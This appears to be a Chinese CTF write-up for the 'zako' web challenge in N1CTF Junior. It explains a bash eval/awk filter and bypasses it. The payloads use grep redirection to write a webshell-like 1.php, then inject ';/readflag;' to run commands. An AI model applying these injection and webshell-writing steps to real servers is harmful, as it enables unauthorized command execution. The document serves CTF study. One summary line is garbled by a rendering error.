ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

第二届 N1CTF Junior WEB方向 部分题解WP

2026/9/13 8:28:55 拓冰建站 浏览量
第二届 N1CTF Junior WEB方向 部分题解WP

zako

题目描述:很简单的rce哦

启动环境,源码直接给了。

image-20240204152839004

execute.sh

#!/bin/bashreject(){echo ${1}exit 1
}XXXCMD=$1awk -v str="${XXXCMD}" \
'BEGIN{deny="`;&$(){}[]!@#$%^&*-";for(i = 1; i <= length(str); i++){char = substr(str, i, 1);for(x = 1; x < length(deny)+1; x++){r = substr(deny, x, 1);if(char == r) exit 1;}}
}'[ $? -ne 0 ] && reject "NOT ALLOW 1"eval_cmd=`echo "${XXXCMD}" | awk -F "|" \
'BEGIN{allows[1] = "ls";allows[2] = "makabaka";allows[3] = "whoareu";allows[4] = "cut~no";allows[5] = "grep";allows[6] = "wc";allows[7] = "鏉傞奔鉂鏉傞奔鉂";allows[8] = "netstat.jpg";allows[9] = "awsl";allows[10] = "dmesg";allows[11] = "xswl";
}{num=1;for(i=1; i<=NF; i++){for(x=1; x<=length(allows); x++){cmpstr = substr($i, 1, length(allows[x]));if(cmpstr == allows[x])eval_cmd[num++] = $i;}}
}END{for(i=1; i<=length(eval_cmd); i++) {if(i!=1)printf "| %s", eval_cmd[i];elseprintf "%s", eval_cmd[i];}
}'`[ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2"eval ${eval_cmd}

逐行解释:

  1. #!/bin/bash:这行指定了脚本执行时使用的解释器,即 Bash。
  2. 定义了一个名为 reject 的函数,它接受一个参数并将其打印出来,然后通过 exit 1 终止脚本执行,返回状态 1 表示出现了错误。
  3. XXXCMD=$1:这行将脚本的第一个参数赋值给变量 XXXCMD,这个参数预期是用户想要执行的命令。
  4. 使用 awk 工具和 -v 选项来检查 XXXCMD 变量中是否包含任何不允许的字符。这些字符包括了大多数会对 Shell 脚本产生特殊意义的符号,如反引号、分号、管道符、括号等。如果发现这些字符中的任何一个,awk 会通过 exit 1 退出并返回状态 1。
  5. [ $? -ne 0 ] && reject "NOT ALLOW 1":这行检查上一个命令(awk)的退出状态。如果 awk 发现了不允许的字符并退出,其返回状态不会是 0,这会触发 reject 函数的调用,打印 “NOT ALLOW 1” 并终止脚本。
  6. 接下来的 awk 命令通过 -F "|" 设置字段分隔符为管道符号,然后检查 XXXCMD 是否只包含被明确允许的命令。这些允许的命令被列在 allows 数组中。awk 脚本将检查 XXXCMD 中的每个命令是否完全匹配这些允许的命令之一。
  7. [ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2":这行检查是否有命令被输入。如果 XXXCMD 是空的,即没有命令被输入,它会调用 reject 函数打印 “NOT ALLOW 2” 并终止脚本。
  8. 最后,脚本使用 eval 命令执行经过过滤的命令。eval_cmd 变量包含了通过前面的过滤过程允许执行的命令。使用 eval 可以执行字符串中的命令,这里的字符串是通过前面的 awk 命令处理得到的。

总结一下,这个脚本有黑名单``;&KaTeX parse error: Expected 'EOF', got '#' at position 9: (){}[]!@#̲%^&*-和白名单。传入的命令是(或者说包含字符串)lsgrepwcdmesg`。则可以把传入的字符串当作命令执行。


疑点如下:

1、猜测外部也有过滤(之后尝试确实如此

image-20240204152905838

2、长度限制(做完发现是障眼法

image-20240204153239037

先看看文件结构:
image-20240204153328293

image-20240204153344149

解决疑点1,我们先获取index.php的真实内容。

/?.[secret.xswl.io=grep "" ?ndex.php

image-20240204153451193

分析:

1、根目录有readflag文件(可执行文件),之后肯定是运行readflag来获取flag,而不是直接读取flag文件(无权限)

2、过滤(黑名单)两处,一处外部在index.php,一处内部在execute.sh

3、同时execute.sh内还有命令执行白名单。相比之下,暂且先认为我们最后的readflag不可在execute.sh文件内执行。所以我们要尝试闭合单引号,在execute.sh文件外部执行命令。

4、我们应该花更多心思去尝试如何直接在php文件里面执行命令,同时突破命令分隔符限制,分隔命令执行radflag。

5、在闭合单引号前,我们可用的命令只有lsgrepwcdmesg。这里注意grep,这个命令返回的是字符串。

看着初始的源码

image-20240204154253323

要是没有waf过滤就好了。梦中源码:

<?php
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));$cmd = $_REQUEST["__secret.xswl.io"];system("./execute.sh '".$cmd."'");?>

梦想成真只需grep命令执行结果重定向写入文件!

payload:

?.[secret.xswl.io=grep "<?php" ?ndex.php >> 1.php
?.[secret.xswl.io=grep "highlight" ?ndex.php >> 1.php
?.[secret.xswl.io=grep "REQUEST" ?ndex.php >> 1.php
?.[secret.xswl.io=grep "system" ?ndex.php >> 1.php

image-20240204154957324

最后执行命令读取flag:

/1.php?.[secret.xswl.io=ls';/readflag;'

image-20240204155031945

一道有趣且非常灵活的题目。